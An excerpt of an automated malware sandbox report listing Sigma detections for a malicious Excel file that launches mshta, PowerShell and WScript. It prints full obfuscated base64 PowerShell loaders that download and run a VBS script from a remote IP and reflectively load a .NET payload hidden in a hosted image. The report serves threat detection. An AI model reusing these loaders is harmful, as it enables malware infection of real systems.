Rwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0Z

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3276, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , ProcessId: 3928, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3276, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3568, ProcessName: mshta.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , ProcessId: 3928, ProcessName: wscript.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", ProcessId: 3836, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 172.67.163.184, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3276, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3696, TargetFilename: C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3276, Protocol: tcp, SourceIp: 172.67.163.184, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156, CommandLine: "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156, CommandLine|base64offset|contains: , Image: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE, NewProcessName: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE, OriginalFileName: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3276, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156, ProcessId: 2192, ProcessName: DW20.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" , ProcessId: 3928, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3696, TargetFilename: C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3276, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC